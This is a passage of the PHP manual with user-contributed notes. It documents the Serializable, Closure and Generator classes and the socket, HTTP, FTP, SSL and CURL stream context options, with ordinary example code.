        return serialize($this->data);
    }

    public function unserialize($data) {
        echo "Unserializing MyClass...\n";
        $this->data = unserialize($data);
    }
}

class MyChildClass extends MyClass {
    private $id;
    private $name;

    public function __construct($id, $name, $data) {
        parent::__construct($data);
        $this->id = $id;
        $this->name = $name;
    }

    public function serialize() {
        echo "Serializing MyChildClass...\n";
        return serialize(
            array(
                'id' => $this->id,
                'name' => $this->name,
                'parentData' => parent::serialize()
            )
        );
    }

    public function unserialize($data) {
        echo "Unserializing MyChildClass...\n";
        $data = unserialize($data);

        $this->id = $data['id'];
        $this->name = $data['name'];
        parent::unserialize($data['parentData']);
    }

    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }
}

$obj = new MyChildClass(15, 'My class name', 'My data');

$serial = serialize($obj);
$newObject = unserialize($serial);

echo $newObject->getId() . PHP_EOL;
echo $newObject->getName() . PHP_EOL;
echo $newObject->getData() . PHP_EOL;

?>

This will output:

Serializing MyChildClass...
Serializing MyClass...
Unserializing MyChildClass...
Unserializing MyClass...
15
My class name
My data
Anonymous 05-Jul-2011 04:01
You cannot throw an exception inside the serialize() method.  This will cause PHP to complain that you are not returning a string or NULL.

The best way to prevent the serialization of an object is to throw an Exception in the __sleep() method:

<?php
class Obj {
  public function __sleep() {
    throw new BadMethodCallException('You cannot serialize this object.');
  }
}
?>
Anonymous 12-May-2011 03:09
You can prevent an object getting unserialized by returning NULL. Instead of a serialized object, PHP will return the serialized form of NULL:

<?php
class testNull implements Serializable {
    public function serialize() {
        return NULL;
    }
    public function unserialize($data) {
    }
}

$obj = new testNull;
$string = serialize($obj);
echo $string; // "N;"
?>

That's perhaps better than throwing exceptions inside of the serialize function if you want to prevent serialization of certain objects.


String representation of object

  • « Serializable
  • Serializable::unserialize »
  • PHP Manual
  • Serializable
  • String representation of object

Serializable::serialize

(PHP 5 >= 5.1.0)

Serializable::serialize — String representation of object

Description

abstract public string Serializable::serialize ( void )

Should return the string representation of the object.

Note:

This method acts as the destructor of the object. The __destruct() method will not be called after this method.

Parameters

This function has no parameters.

Return Values

Returns the string representation of the object or NULL

Errors/Exceptions

Throws Exception when returning other types than strings and NULL.

See Also

  • __sleep()

User Contributed Notes

crog at gustavus dot edu 08-Nov-2013 02:30
The documentation here is somewhat misleading. Where it says "This method acts as the destructor of the object. The __destruct() method will not be called after this method," I believe the intent is not that the destructor is not run on the object itself, but that the destructor is not called /as part of the serialization process/.

That is, the object will still be destructed as it goes out of scope as normal, but the destructor is not called as a part of the object's serialization.


Constructs the object

  • « Serializable::serialize
  • Closure »
  • PHP Manual
  • Serializable
  • Constructs the object

Serializable::unserialize

(PHP 5 >= 5.1.0)

Serializable::unserialize — Constructs the object

Description

abstract public void Serializable::unserialize ( string $serialized )

Called during unserialization of the object.

Note:

This method acts as the constructor of the object. The __construct() method will not be called after this method.

Parameters

serialized

The string representation of the object.

Return Values

The return value from this method is ignored.

See Also

  • __wakeup()

User Contributed Notes

There are no user contributed notes for this page.


The Closure class

(PHP 5 >= 5.3.0)

Introduction

Class used to represent anonymous functions.

Anonymous functions, implemented in PHP 5.3, yield objects of this type. This fact used to be considered an implementation detail, but it can now be relied upon. Starting with PHP 5.4, this class has methods that allow further control of the anonymous function after it has been created.

Besides the methods listed here, this class also has an __invoke method. This is for consistency with other classes that implement calling magic, as this method is not used for calling the function.

Class synopsis

Closure {
/* Methods */
private __construct ( void )
public static Closure bind ( Closure $closure , object $newthis [, mixed $newscope = "static" ] )
public Closure bindTo ( object $newthis [, mixed $newscope = "static" ] )
}

Table of Contents

  • Closure::__construct — Constructor that disallows instantiation
  • Closure::bind — Duplicates a closure with a specific bound object and class scope
  • Closure::bindTo — Duplicates the closure with a new bound object and class scope

User Contributed Notes

There are no user contributed notes for this page.


Constructor that disallows instantiation

  • « Closure
  • Closure::bind »
  • PHP Manual
  • Closure
  • Constructor that disallows instantiation

Closure::__construct

(PHP 5 >= 5.3.0)

Closure::__construct — Constructor that disallows instantiation

Description

private Closure::__construct ( void )

This method exists only to disallow instantiation of the Closure class. Objects of this class are created in the fashion described on the anonymous functions page.

Parameters

This function has no parameters.

Return Values

This method has no return value; it simply emits an error (of type E_RECOVERABLE_ERROR).

See Also

  • Anonymous functions

User Contributed Notes

There are no user contributed notes for this page.


Duplicates a closure with a specific bound object and class scope

  • « Closure::__construct
  • Closure::bindTo »
  • PHP Manual
  • Closure
  • Duplicates a closure with a specific bound object and class scope

Closure::bind

(PHP 5 >= 5.4.0)

Closure::bind — Duplicates a closure with a specific bound object and class scope

Description

public static Closure Closure::bind ( Closure $closure , object $newthis [, mixed $newscope = "static" ] )

This method is a static version of Closure::bindTo(). See the documentation of that method for more information.

Parameters

closure

The anonymous functions to bind.

newthis

The object to which the given anonymous function should be bound, or NULL for the closure to be unbound.

newscope

The class scope to which associate the closure is to be associated, or 'static' to keep the current one. If an object is given, the type of the object will be used instead. This determines the visibility of protected and private methods of the bound object.

Return Values

Returns a new Closure object or FALSE on failure

Examples

Example #1 Closure::bind() example

<?php
class A {
    private static $sfoo = 1;
    private $ifoo = 2;
}
$cl1 = static function() {
    return A::$sfoo;
};
$cl2 = function() {
    return $this->ifoo;
};

$bcl1 = Closure::bind($cl1, null, 'A');
$bcl2 = Closure::bind($cl2, new A(), 'A');
echo $bcl1(), "\n";
echo $bcl2(), "\n";
?>

The above example will output something similar to:

1
2

See Also

  • Anonymous functions
  • Closure::bindTo() - Duplicates the closure with a new bound object and class scope

User Contributed Notes

jaaf64 at zoraldia dot com 27-Oct-2014 02:59
To make the previous example easier to catch and test for a learner of the language:
<?php
trait MetaTrait
{
    private $methods = array();

    public function addMethod($methodName, $methodCallable)
    {
        if (!is_callable($methodCallable)) {
            throw new InvalidArgumentException('Second param must be callable');
        }
        $this->methods[$methodName] = Closure::bind($methodCallable, $this, get_class());
    }

    public function __call($methodName, array $args)
    {
        if (isset($this->methods[$methodName])) {
            return ('Method "'.$methodName.'" exists and returns: '.call_user_func_array($this->methods[$methodName], $args));
        }
        return('Method "' .$methodName.'": There is no method with this name to call');
    }
}
?>

<?php
require 'MetaTrait.php';

class HackThursday {
    use MetaTrait;
    private $dayOfWeek = 'Thursday';
}

$test = new HackThursday();
$test->addMethod('when', function () {
    return $this->dayOfWeek;
});
echo $test->when();
echo '<br/>'.$test->phony();
?>
Vincius Krolow 14-Dec-2012 09:08
With this class and method, it's possible to do nice things, like add methods on the fly to an object.

MetaTrait.php
<?php
trait MetaTrait
{

    private $methods = array();

    public function addMethod($methodName, $methodCallable)
    {
        if (!is_callable($methodCallable)) {
            throw new InvalidArgumentException('Second param must be callable');
        }
        $this->methods[$methodName] = Closure::bind($methodCallable, $this, get_class());
    }

    public function __call($methodName, array $args)
    {
        if (isset($this->methods[$methodName])) {
            return call_user_func_array($this->methods[$methodName], $args);
        }

        throw RunTimeException('There is no method with the given name to call');
    }

}
?>

test.php
<?php
require 'MetaTrait.php';

class HackThursday {
    use MetaTrait;

    private $dayOfWeek = 'Thursday';

}

$test = new HackThursday();
$test->addMethod('when', function () {
    return $this->dayOfWeek;
});

echo $test->when();

?>


Duplicates the closure with a new bound object and class scope

  • « Closure::bind
  • Generator »
  • PHP Manual
  • Closure
  • Duplicates the closure with a new bound object and class scope

Closure::bindTo

(PHP 5 >= 5.4.0)

Closure::bindTo — Duplicates the closure with a new bound object and class scope

Description

public Closure Closure::bindTo ( object $newthis [, mixed $newscope = "static" ] )

Create and return a new anonymous function with the same body and bound variables as this one, but possibly with a different bound object and a new class scope.

The “bound object” determines the value $this will have in the function body and the “class scope” represents a class which determines which private and protected members the anonymous function will be able to access. Namely, the members that will be visible are the same as if the anonymous function were a method of the class given as value of the newscope parameter.

Static closures cannot have any bound object (the value of the parameter newthis should be NULL), but this function can nevertheless be used to change their class scope.

This function will ensure that for a non-static closure, having a bound instance will imply being scoped and vice-versa. To this end, non-static closures that are given a scope but a NULL instance are made static and non-static non-scoped closures that are given a non-null instance are scoped to an unspecified class.

Note:

If you only want to duplicate the anonymous functions, you can use cloning instead.

Parameters

newthis

The object to which the given anonymous function should be bound, or NULL for the closure to be unbound.

newscope

The class scope to which associate the closure is to be associated, or 'static' to keep the current one. If an object is given, the type of the object will be used instead. This determines the visibility of protected and private methods of the bound object.

Return Values

Returns the newly created Closure object or FALSE on failure

Examples

Example #1 Closure::bindTo() example

<?php

class A {
    function __construct($val) {
        $this->val = $val;
    }
    function getClosure() {
        //returns closure bound to this object and scope
        return function() { return $this->val; };
    }
}

$ob1 = new A(1);
$ob2 = new A(2);

$cl = $ob1->getClosure();
echo $cl(), "\n";
$cl = $cl->bindTo($ob2);
echo $cl(), "\n";
?>

The above example will output something similar to:

1
2

See Also

  • Anonymous functions
  • Closure::bind() - Duplicates a closure with a specific bound object and class scope

User Contributed Notes

tatarynowicz at gmail dot com 14-Feb-2013 06:30
You can do pretty Javascript-like things with objects using closure binding:

<?php
trait DynamicDefinition {

    public function __call($name, $args) {
        if (is_callable($this->$name)) {
            return call_user_func($this->$name, $args);
        }
        else {
            throw new \RuntimeException("Method {$name} does not exist");
        }
    }

    public function __set($name, $value) {
        $this->$name = is_callable($value)?
            $value->bindTo($this, $this):
            $value;
    }
}

class Foo {
    use DynamicDefinition;
    private $privateValue = 'I am private';
}

$foo = new Foo;
$foo->bar = function() {
    return $this->privateValue;
};

// prints 'I am private'
print $foo->bar();

?>
safakozpinar at gmail dot com 09-Mar-2012 10:35
Private/protected members are accessible if you set the "newscope" argument (as the manual says).

<?php
$fn = function(){
    return ++$this->foo; // increase the value
};

class Bar{
    private $foo = 1; // initial value
}

$bar = new Bar();

$fn1 = $fn->bindTo($bar, 'Bar'); // specify class name
$fn2 = $fn->bindTo($bar,  $bar); // or object

echo $fn1(); // 2
echo $fn2(); // 3
anthony bishopric 03-Mar-2012 10:00
Closures can rebind their $this variable, but private/protected methods and functions of $this are not accessible to the closures.

<?php
$fn = function(){
    return $this->foo;
};

class Bar{
    private $foo = 3;
}

$bar = new Bar();

$fn = $fn->bindTo($bar);

echo $fn(); // Fatal error: Cannot access private property Bar::$foo
amica at php-resource dot de 19-Dec-2011 01:23
With rebindable $this at hand it's possible to do evil stuff:

<?php
    class A {
        private $a = 12;
        private function getA () {
            return $this->a;
        }
    }
    class B {
        private $b = 34;
        private function getB () {
            return $this->b;
        }
    }
    $a = new A();
    $b = new B();
    $c = function () {
        if (property_exists($this, "a") && method_exists($this, "getA")) {
            $this->a++;
            return $this->getA();
        }
        if (property_exists($this, "b") && method_exists($this, "getB")) {
            $this->b++;
            return $this->getB();
        }
    };
    $ca = $c->bindTo($a, $a);
    $cb = $c->bindTo($b, $b);
    echo $ca(), "\n"; // => 13
    echo $cb(), "\n"; // => 35
?>


The Generator class

(PHP 5 >= 5.5.0)

Introduction

Generator objects are returned from generators.

Caution

Generator objects cannot be instantiated via new.

Class synopsis

Generator implements Iterator {
/* Methods */
public mixed current ( void )
public mixed key ( void )
public void next ( void )
public void rewind ( void )
public mixed send ( mixed $value )
public mixed throw ( Exception $exception )
public bool valid ( void )
public void __wakeup ( void )
}

Table of Contents

  • Generator::current — Get the yielded value
  • Generator::key — Get the yielded key
  • Generator::next — Resume execution of the generator
  • Generator::rewind — Rewind the iterator
  • Generator::send — Send a value to the generator
  • Generator::throw — Throw an exception into the generator
  • Generator::valid — Check if the iterator has been closed
  • Generator::__wakeup — Serialize callback

User Contributed Notes

dejiakala at gmail dot com 06-Oct-2014 01:18
<?php

function sayHello($people) {
  foreach($people as $person) {
    yield "hello " . $person;
  }
}

var_dump(sayHello(array('foo', 'bar', 'baz')));

?>

Output:

 class Generator#1 (0) {
 }


Get the yielded value

  • « Generator
  • Generator::key »
  • PHP Manual
  • Generator
  • Get the yielded value

Generator::current

(PHP 5 >= 5.5.0)

Generator::current — Get the yielded value

Description

public mixed Generator::current ( void )

Parameters

This function has no parameters.

Return Values

Returns the yielded value.

User Contributed Notes

There are no user contributed notes for this page.


Get the yielded key

  • « Generator::current
  • Generator::next »
  • PHP Manual
  • Generator
  • Get the yielded key

Generator::key

(PHP 5 >= 5.5.0)

Generator::key — Get the yielded key

Description

public mixed Generator::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the yielded key.

User Contributed Notes

There are no user contributed notes for this page.


Resume execution of the generator

  • « Generator::key
  • Generator::rewind »
  • PHP Manual
  • Generator
  • Resume execution of the generator

Generator::next

(PHP 5 >= 5.5.0)

Generator::next — Resume execution of the generator

Description

public void Generator::next ( void )

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator

  • « Generator::next
  • Generator::send »
  • PHP Manual
  • Generator
  • Rewind the iterator

Generator::rewind

(PHP 5 >= 5.5.0)

Generator::rewind — Rewind the iterator

Description

public void Generator::rewind ( void )

If iteration has already begun, this will throw an exception.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Send a value to the generator

  • « Generator::rewind
  • Generator::throw »
  • PHP Manual
  • Generator
  • Send a value to the generator

Generator::send

(PHP 5 >= 5.5.0)

Generator::send — Send a value to the generator

Description

public mixed Generator::send ( mixed $value )

Sends the given value to the generator as the result of the current yield expression and resumes execution of the generator.

If the generator is not at a yield expression when this method is called, it will first be let to advance to the first yield expression before sending the value. As such it is not necessary to "prime" PHP generators with a Generator::next() call (like it is done in Python).

Parameters

value

Value to send into the generator. This value will be the return value of the yield expression the generator is currently at.

Examples

Example #1 Using Generator::send() to inject values

<?php
function printer() {
    while (true) {
        $string = yield;
        echo $string;
    }
}

$printer = printer();
$printer->send('Hello world!');
$printer->send('Bye world!');
?>

The above example will output:

Hello world!
Bye world!

Return Values

Returns the yielded value.

User Contributed Notes

sergei dot solomonov at gmail dot com 09-Oct-2013 03:30
<?php
function foo() {
    $string = yield;
    echo $string;
    for ($i = 1; $i <= 3; $i++) {
        yield $i;
    }
}

$generator = foo();
$generator->send('Hello world!');
foreach ($generator as $value) echo "$value\n";
?>

This code falls with the error:
PHP Fatal error:  Uncaught exception 'Exception' with message 'Cannot rewind a generator that was already run'.
foreach internally calls rewind, you should remember this!
sfroelich01 at sp dot gm dot ail dot am dot com 17-Jul-2013 09:11
Reading the example, it is a bit difficult to understand what exactly to do with this. The example below is a simple example of what you can do this.

<?php
function nums() {
    for ($i = 0; $i < 5; ++$i) {
                //get a value from the caller
        $cmd = (yield $i);

        if($cmd == 'stop')
            return;//exit the function
        }
}

$gen = nums();
foreach($gen as $v)
{
    if($v == 3)//we are satisfied
        $gen->send('stop');

    echo "{$v}\n";
}

//Output
0
1
2
3
?>


Throw an exception into the generator

  • « Generator::send
  • Generator::valid »
  • PHP Manual
  • Generator
  • Throw an exception into the generator

Generator::throw

(PHP 5 >= 5.5.0)

Generator::throw — Throw an exception into the generator

Description

public mixed Generator::throw ( Exception $exception )

Throws an exception into the generator and resumes execution of the generator. The behavior will be the same as if the current yield expression was replaced with a throw $exception statement.

If the generator is already closed when this method is invoked, the exception will be thrown in the caller's context instead.

Parameters

exception

Exception to throw into the generator.

Examples

Example #1 Throwing an exception into a generator

<?php
function gen() {
    echo "Foo\n";
    try {
        yield;
    } catch (Exception $e) {
        echo "Exception: {$e->getMessage()}\n";
    }
    echo "Bar\n";
}

$gen = gen();
$gen->rewind();
$gen->throw(new Exception('Test'));
?>

The above example will output:

Foo
Exception: Test
Bar

Return Values

Returns the yielded value.

User Contributed Notes

There are no user contributed notes for this page.


Check if the iterator has been closed

  • « Generator::throw
  • Generator::__wakeup »
  • PHP Manual
  • Generator
  • Check if the iterator has been closed

Generator::valid

(PHP 5 >= 5.5.0)

Generator::valid — Check if the iterator has been closed

Description

public bool Generator::valid ( void )

Parameters

This function has no parameters.

Return Values

Returns FALSE if the iterator has been closed. Otherwise returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.


Serialize callback

  • « Generator::valid
  • Context options and parameters »
  • PHP Manual
  • Generator
  • Serialize callback

Generator::__wakeup

(PHP 5 >= 5.5.0)

Generator::__wakeup — Serialize callback

Description

public void Generator::__wakeup ( void )

Throws an exception as generators can't be serialized.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Context options and parameters

PHP offers various context options and parameters which can be used with all
filesystem and stream wrappers. The context is created with
stream_context_create(). Options are set with
stream_context_set_option() and parameters with
stream_context_set_params().

Table of Contents

  • Socket context options — Socket context option listing
  • HTTP context options — HTTP context option listing
  • FTP context options — FTP context option listing
  • SSL context options — SSL context option listing
  • CURL context options — CURL context option listing
  • Phar context options — Phar context option listing
  • MongoDB context options — MongoDB context option listing
  • Context parameters — Context parameter listing

User Contributed Notes

There are no user contributed notes for this page.


Socket context option listing

  • « Context options and parameters
  • HTTP context options »
  • PHP Manual
  • Context options and parameters
  • Socket context option listing

Socket context options

Socket context options — Socket context option listing

Description

Socket context options are available for all wrappers that work over sockets, like tcp, http and ftp.

Options

bindto

Used to specify the IP address (either IPv4 or IPv6) and/or the port number that PHP will use to access the network. The syntax is ip:port for IPv4 addresses, and [ip]:port for IPv6 addresses. Setting the IP or the port to 0 will let the system choose the IP and/or port.

Note:

As FTP creates two socket connections during normal operation, the port number cannot be specified using this option.

backlog

Used to limit the number of outstanding connections in the socket's listen queue.

Note:

This is only applicable to stream_socket_server().

Changelog

Version | Description
5.3.3 | Added backlog.
5.1.0 | Added bindto.

Examples

Example #1 Basic bindto usage example

<?php
// connect to the internet using the '192.168.0.100' IP
$opts = array(
    'socket' => array(
        'bindto' => '192.168.0.100:0',
    ),
);

// connect to the internet using the '192.168.0.100' IP and port '7000'
$opts = array(
    'socket' => array(
        'bindto' => '192.168.0.100:7000',
    ),
);

// connect to the internet using the '2001:db8::1' IPv6 address
// and port '7000'
$opts = array(
    'socket' => array(
        'bindto' => '[2001:db8::1]:7000',
    ),
);

// connect to the internet using port '7000'
$opts = array(
    'socket' => array(
        'bindto' => '0:7000',
    ),
);

// create the context...
$context = stream_context_create($opts);

// ...and use it to fetch the data
echo file_get_contents('http://www.example.com', false, $context);

?>

User Contributed Notes

There are no user contributed notes for this page.


HTTP context option listing

  • « Socket context options
  • FTP context options »
  • PHP Manual
  • Context options and parameters
  • HTTP context option listing

HTTP context options

HTTP context options — HTTP context option listing

Description

Context options for http:// and https:// transports.

Options

method string

GET, POST, or any other HTTP method supported by the remote server.

Defaults to GET.

header string

Additional headers to be sent during request. Values in this option will override other values (such as User-agent:, Host:, and Authentication:).

user_agent string

Value to send with User-Agent: header. This value will only be used if user-agent is not specified in the header context option above.

By default the user_agent php.ini setting is used.

content string

Additional data to be sent after the headers. Typically used with POST or PUT requests.

proxy string

URI specifying address of proxy server. (e.g. tcp://proxy.example.com:5100).

request_fulluri boolean

When set to TRUE, the entire URI will be used when constructing the request. (i.e. GET http://www.example.com/path/to/file.html HTTP/1.0). While this is a non-standard request format, some proxy servers require it.

Defaults to FALSE.

follow_location integer

Follow Location header redirects. Set to 0 to disable.

Defaults to 1.

max_redirects integer

The max number of redirects to follow. Value 1 or less means that no redirects are followed.

Defaults to 20.

protocol_version float

HTTP protocol version.

Defaults to 1.0.

Note:

PHP prior to 5.3.0 does not implement chunked transfer decoding. If this value is set to 1.1 it is your responsibility to be 1.1 compliant.

timeout float

Read timeout in seconds, specified by a float (e.g. 10.5).

By default the default_socket_timeout php.ini setting is used.

ignore_errors boolean

Fetch the content even on failure status codes.

Defaults to FALSE.

Changelog

Version | Description
5.3.4 | Added follow_location.
5.3.0 | The protocol_version supports chunked transfer decoding when set to 1.1.
5.2.10 | Added ignore_errors.
5.2.10 | The header can now be an numerically indexed array.
5.2.1 | Added timeout.
5.1.0 | Added HTTPS proxying through HTTP proxies.
5.1.0 | Added max_redirects.
5.1.0 | Added protocol_version.

Examples

Example #1 Fetch a page and send POST data

<?php

$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

Example #2 Ignore redirects but fetch headers and content

<?php

$url = "http://www.example.org/header.php";

$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);

$context = stream_context_create($opts);
$stream = fopen($url, 'r', false, $context);

// header information as well as meta data
// about the stream
var_dump(stream_get_meta_data($stream));

// actual data at $url
var_dump(stream_get_contents($stream));
fclose($stream);
?>

Notes

Note: Underlying socket stream context options
Additional context options may be supported by the underlying transport For http:// streams, refer to context options for the tcp:// transport. For https:// streams, refer to context options for the ssl:// transport.

Note: HTTP status line
When this stream wrapper follows a redirect, the wrapper_data returned by stream_get_meta_data() might not necessarily contain the HTTP status line that actually applies to the content data at index 0.

array (
  'wrapper_data' =>
  array (
    0 => 'HTTP/1.0 301 Moved Permantenly',
    1 => 'Cache-Control: no-cache',
    2 => 'Connection: close',
    3 => 'Location: http://example.com/foo.jpg',
    4 => 'HTTP/1.1 200 OK',
    ...
The first request returned a 301 (permanent redirect), so the stream wrapper automatically followed the redirect to get a 200 response (index = 4).

See Also

  • http://
  • Socket context options
  • SSL context options

User Contributed Notes

nate 17-Apr-2014 12:19
Note that if you set the protocol_version option to 1.1 and the server you are requesting from is configured to use keep-alive connections, the function (fopen, file_get_contents, etc.) will "be slow" and take a long time to complete. This is a feature of the HTTP 1.1 protocol you are unlikely to use with stream contexts in PHP.

Simply add a "Connection: close" header to the request to eliminate the keep-alive timeout:

<?php
// php 5.4 : array syntax and header option with array value
$data = file_get_contents('http://www.example.com/', null, stream_context_create([
    'http' => [
        'protocol_version' => 1.1,
        'header'           => [
            'Connection: close',
        ],
    ],
]));
?>
chris 06-Feb-2014 03:14
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>
vchampion at gmail dot com 23-Oct-2012 10:41
If you use the proxy server and encounter an error "fopen(http://example.com): failed to open stream: HTTP request failed! HTTP/1.0 400 Bad Request" note that in many situations you need also set the parameter "request_fulluri" to "true" in your stream options. Without this option the php script sends the empty request to the server as "GET / HTTP/0.0" and the proxy server replies to it with the "HTTP 400" error.

For example (working sample):
<?php
$stream = stream_context_create(Array("http" => Array("method"  => "GET",
                                                      "timeout" => 20,
                                                      "header"  => "User-agent: Myagent",
                                                      "proxy"   => "tcp://my-proxy.localnet:3128",
                                                      'request_fulluri' => True /* without this option we get an HTTP error! */
                                )));

if ( $fp = fopen("http://example.com", 'r', false, $stream) ) {
    print "well done";
}
?>

P>S> PHP 5.3.17
gourav sarkar 19-Jan-2011 05:09
watch your case when using methods (POST and GET)...it must be always uppercase. in case of you write it in lower case it wont work.
TxRx 15-Dec-2009 06:13
Note that if the server is not able to 'getaddresses' change the name to an ip address and that'll sort that out for internal looking calls and posts.


FTP context option listing

  • « HTTP context options
  • SSL context options »
  • PHP Manual
  • Context options and parameters
  • FTP context option listing

FTP context options

FTP context options — FTP context option listing

Description

Context options for ftp:// and ftps:// transports.

Options

overwrite boolean

Allow overwriting of already existing files on remote server. Applies to write mode (uploading) only.

Defaults to FALSE.

resume_pos integer

File offset at which to begin transfer. Applies to read mode (downloading) only.

Defaults to 0 (Beginning of File).

proxy string

Proxy FTP request via http proxy server. Applies to file read operations only. Ex: tcp://squid.example.com:8000.

Changelog

Version | Description
5.1.0 | Added proxy.
5.0.0 | Added overwrite and resume_pos.

Notes

Note: Underlying socket stream context options
Additional context options may be supported by the underlying transport For ftp:// streams, refer to context options for the tcp:// transport. For ftps:// streams, refer to context options for the ssl:// transport.

See Also

  • ftp://
  • Socket context options
  • SSL context options

User Contributed Notes

php dot net at misterchucker dot com 16-Apr-2009 03:19
This is an example of how to allow fopen() to overwrite a file on an FTP site. If the stream context is not modified, an error will occur: "...failed to open stream: Remote file already exists and overwrite context option not specified...".

<?php
// The path to the FTP file, including login arguments
$ftp_path = 'ftp://username:password@example.com/example.txt';

// Allows overwriting of existing files on the remote FTP server
$stream_options = array('ftp' => array('overwrite' => true));

// Creates a stream context resource with the defined options
$stream_context = stream_context_create($stream_options);

// Opens the file for writing and truncates it to zero length
if ($fh = fopen($ftp_path, 'w', 0, $stream_context))
{
    // Writes contents to the file
    fputs($fh, 'example contents');

    // Closes the file handle
    fclose($fh);
}
else
{
    die('Could not open file.');
}
?>


SSL context option listing

  • « FTP context options
  • CURL context options »
  • PHP Manual
  • Context options and parameters
  • SSL context option listing

SSL context options

SSL context options — SSL context option listing

Description

Context options for ssl:// and tls:// transports.

Options

peer_name string

Peer name to be used. If this value is not set, then the name is guessed based on the hostname used when opening the stream.

verify_peer boolean

Require verification of SSL certificate used.

Defaults to TRUE.

verify_peer_name boolean

Require verification of peer name.

Defaults to TRUE.

allow_self_signed boolean

Allow self-signed certificates. Requires verify_peer.

Defaults to FALSE

cafile string

Location of Certificate Authority file on local filesystem which should be used with the verify_peer context option to authenticate the identity of the remote peer.

capath string

If cafile is not specified or if the certificate is not found there, the directory pointed to by capath is searched for a suitable certificate. capath must be a correctly hashed certificate directory.

local_cert string

Path to local certificate file on filesystem. It must be a PEM encoded file which contains your certificate and private key. It can optionally contain the certificate chain of issuers.

passphrase string

Passphrase with which your local_cert file was encoded.

CN_match string

Common Name we are expecting. PHP will perform limited wildcard matching. If the Common Name does not match this, the connection attempt will fail.

Note: This option is deprecated, in favour of peer_name, as of PHP 5.6.0.

verify_depth integer

Abort if the certificate chain is too deep.

Defaults to no verification.

ciphers string

Sets the list of available ciphers. The format of the string is described in » ciphers(1).

Defaults to DEFAULT.

capture_peer_cert boolean

If set to TRUE a peer_certificate context option will be created containing the peer certificate.

capture_peer_cert_chain boolean

If set to TRUE a peer_certificate_chain context option will be created containing the certificate chain.

SNI_enabled boolean

If set to TRUE server name indication will be enabled. Enabling SNI allows multiple certificates on the same IP address.

SNI_server_name string

If set, then this value will be used as server name for server name indication. If this value is not set, then the server name is guessed based on the hostname used when opening the stream.

Note: This option is deprecated, in favour of peer_name, as of PHP 5.6.0.

disable_compression boolean

If set, disable TLS compression. This can help mitigate the CRIME attack vector.

peer_fingerprint string | array

Aborts when the remote certificate digest doesn't match the specified hash.

When a string is used, the length will determine which hashing algorithm is applied, either "md5" (32) or "sha1" (40).

When an array is used, the keys indicate the hashing algorithm name and each corresponding value is the expected digest.

Changelog

Version | Description
5.6.0 | Added peer_fingerprint and verify_peer_name. verify_peer default changed to TRUE.
5.4.13 | Added disable_compression. Requires OpenSSL >= 1.0.0.
5.3.2 | Added SNI_enabled and SNI_server_name.
5.0.0 | Added capture_peer_cert, capture_peer_chain and ciphers.

Notes

Note: Because ssl:// is the underlying transport for the https:// and ftps:// wrappers, any context options which apply to ssl:// also apply to https:// and ftps://.

Note: For SNI (Server Name Indication) to be available, then PHP must be compiled with OpenSSL 0.9.8j or greater. Use the OPENSSL_TLSEXT_SERVER_NAME to determine whether SNI is supported.

See Also

  • Socket context options

User Contributed Notes

Anonymous 14-May-2014 02:26
If I read the UPGRADING file correctly, in PHP 5.6 the default value of verify_peer has changed.
borbas dot geri at gmail dot com 31-Jan-2014 09:06
I used this for Apple Push Notification Service.
Passed in a local certificate filename `cert.pem` trough local_cert option.
Worked fine, when invoked the script directly.

But when I included/required the script from a different location, it stopped working, without any explicit error message.

Resolved by passed in the full path for the file `<FullPathTo>cert.pem`.
Botjan kufca 20-Feb-2010 08:11
CN_match works contrary to intuitive thinking. I came across this when I was developing SSL server implemented in PHP. I stated (in code):

- do not allow self signed certs (works)
- verify peer certs against CA cert (works)
- verify the client's CN against CN_match (does not work), like this:

stream_context_set_option($context, 'ssl', 'CN_match', '*.example.org');

I presumed this would match any client with CN below .example.org domain.
Unfortunately this is NOT the case. The option above does not do that.

What it really does is this:
- it takes client's CN and compares it to CN_match
- IF CLIENT's CN CONTAINS AN ASTERISK like *.example.org, then it is matched against CN_match in wildcard matching fashion

Examples to illustrate behaviour:
(CNM = server's CN_match)
(CCN = client's CN)

- CNM=host.example.org, CCN=host.example.org ---> OK
- CNM=host.example.org, CCN=*.example.org ---> OK
- CNM=.example.org, CCN=*.example.org ---> OK
- CNM=example.org, CCN=*.example.org ---> ERROR

- CNM=*.example.org, CCN=host.example.org ---> ERROR
- CNM=*.example.org, CCN=*.example.org ---> OK

According to PHP sources I believe that the same applies if you are trying to act as Client and the server contains a wildcard certificate. If you set CN_match to myserver.example.org and server presents itself with *.example.org, the connection is allowed.

Everything above applies to PHP version 5.2.12.
I will supply a patch to support CN_match starting with asterisk.


CURL context option listing

  • « SSL context options
  • Phar context options »
  • PHP Manual
  • Context options and parameters
  • CURL context option listing

CURL context options

CURL context options — CURL context option listing

Description

CURL context options are available when the CURL extension was compiled using the --with-curlwrappers configure option.

Options

method string

GET, POST, or any other HTTP method supported by the remote server.

Defaults to GET.

header string

Additional headers to be sent during request. Values in this option will override other values (such as User-agent:, Host:, and Authentication:).

user_agent string

Value to send with User-Agent: header.

By default the user_agent php.ini setting is used.

content string

Additional data to be sent after the headers. This option is not used for GET or HEAD requests.

proxy string

URI specifying address of proxy server. (e.g. tcp://proxy.example.com:5100).

max_redirects integer

